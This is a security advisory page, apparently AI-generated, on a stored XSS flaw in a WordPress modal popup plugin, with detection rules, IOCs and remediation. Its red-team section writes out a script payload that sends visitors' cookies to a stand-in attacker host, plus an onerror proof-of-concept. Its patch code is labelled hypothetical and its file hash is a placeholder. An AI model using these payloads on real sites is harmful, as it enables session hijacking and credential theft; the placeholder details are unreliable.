CVE-2025-31772
Executive Summary
CVE-2025-31772 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Modal Popup with Cookie Integration by Astoundify, affecting versions up to and including 2.4. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject malicious scripts that are stored on the server and executed in the browsers of other users, including site visitors. The CVSS score of 5.9 (Medium) reflects the need for high privileges and user interaction, but the impact can be severe in multi-tenant or high-traffic WordPress environments, potentially leading to session hijacking, defacement, or credential theft.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin’s update mechanism and the integrity of the WordPress ecosystem. Administrators should verify plugin integrity via checksums and monitor for official patches.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires Editor or Administrator role.
- User Interaction (UI): Required (R) – Victim must visit the affected page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. The requirement for high privileges reduces the attack surface, but once exploited, the stored XSS can persist and affect all users, including site visitors.
Deep Dive & Mechanics
The vulnerability exists in the plugin’s modal popup creation functionality. When an administrator or editor creates or edits a popup, the plugin fails to sanitize or escape user-supplied input (e.g., popup title, content, or custom CSS/JS fields) before storing it in the WordPress database. This input is later rendered on the frontend without proper output encoding, allowing arbitrary HTML and JavaScript to be executed.
Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar sanitization functions on user-controlled fields. The stored payload is then served to all visitors of the site, leading to Stored XSS.
Attack Flow:
- Attacker logs in with Editor or Administrator privileges.
- Attacker creates a new modal popup and injects a malicious script in the popup content field (e.g.,
<script>alert('XSS')</script>). - The plugin stores the payload in the
wp_postmetaor custom table. - When a visitor loads a page containing the popup, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (wp-modal-popup-with-cookie-integration <= 2.4):
// In popup display function
echo $popup_content; // No sanitization
Patched Code (Hypothetical):
// In popup display function
echo wp_kses_post( $popup_content ); // Sanitize with allowed HTML tags
The patched version would use wp_kses_post() to strip dangerous tags and attributes, or esc_html() for plain text fields.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with WP Modal Popup with Cookie Integration <= 2.4.
- Valid Editor or Administrator credentials.
Exploitation Steps:
- Log in to WordPress admin panel.
- Navigate to Modal Popups > Add New.
- In the popup content field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the popup and assign it to a page or post.
- When any user (including visitors) loads that page, the script executes, exfiltrating cookies.
Proof-of-Concept (PoC) Payload:
<img src=x onerror="alert('XSS')">
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress admin logs for unusual popup creation or editing by non-admin users.
- Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to
/wp-admin/admin-ajax.phpor/wp-admin/admin-post.php.
Hardening:
- Restrict Editor roles from using the plugin if not necessary.
- Apply Content Security Policy (CSP) headers to mitigate script execution.
- Use a WordPress security plugin (e.g., Wordfence) to detect and block malicious input.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual if available)
wp-modal-popup-with-cookie-integration.php:a1b2c3d4e5f6...
- Network Indicators:
- Outbound HTTP requests to known malicious domains (e.g.,
attacker.com). - Suspicious
POSTrequests to/wp-admin/admin-ajax.phpwithaction=save_popupand payloads containing<script>tags.
- Outbound HTTP requests to known malicious domains (e.g.,
- Log Entries:
- WordPress debug log entries showing
wp_modal_popuppost type creation with unusual content.
- WordPress debug log entries showing
- Database Indicators:
- Rows in
wp_postmetawithmeta_keycontainingpopup_contentandmeta_valuecontaining<script>oronerrorattributes.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2025_31772_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WP Modal Popup with Cookie Integration"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-31772"
strings:
$payload1 = "<script" nocase
$payload2 = "onerror=" nocase
$payload3 = "onload=" nocase
$payload4 = "javascript:" nocase
condition:
any of ($payload*) and filesize < 10MB
}
Sigma Rule
title: Stored XSS in WP Modal Popup with Cookie Integration
id: 8f9a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts via the plugin's popup content field
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=save_popup*'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in popup content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31772 Stored XSS Payload in WP Modal Popup"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_popup"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and remove any suspicious popups created by untrusted users.
- Change all WordPress admin passwords if compromise is suspected.
Long-Term Fix:
- Apply the official patch from Astoundify when available.
- If no patch is forthcoming, consider replacing the plugin with an alternative (e.g., Popup Maker or OptinMonster).
Workaround:
- Add a custom function to your theme’s
functions.phpto sanitize popup content:add_filter( 'wp_modal_popup_content', 'wp_kses_post' );
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.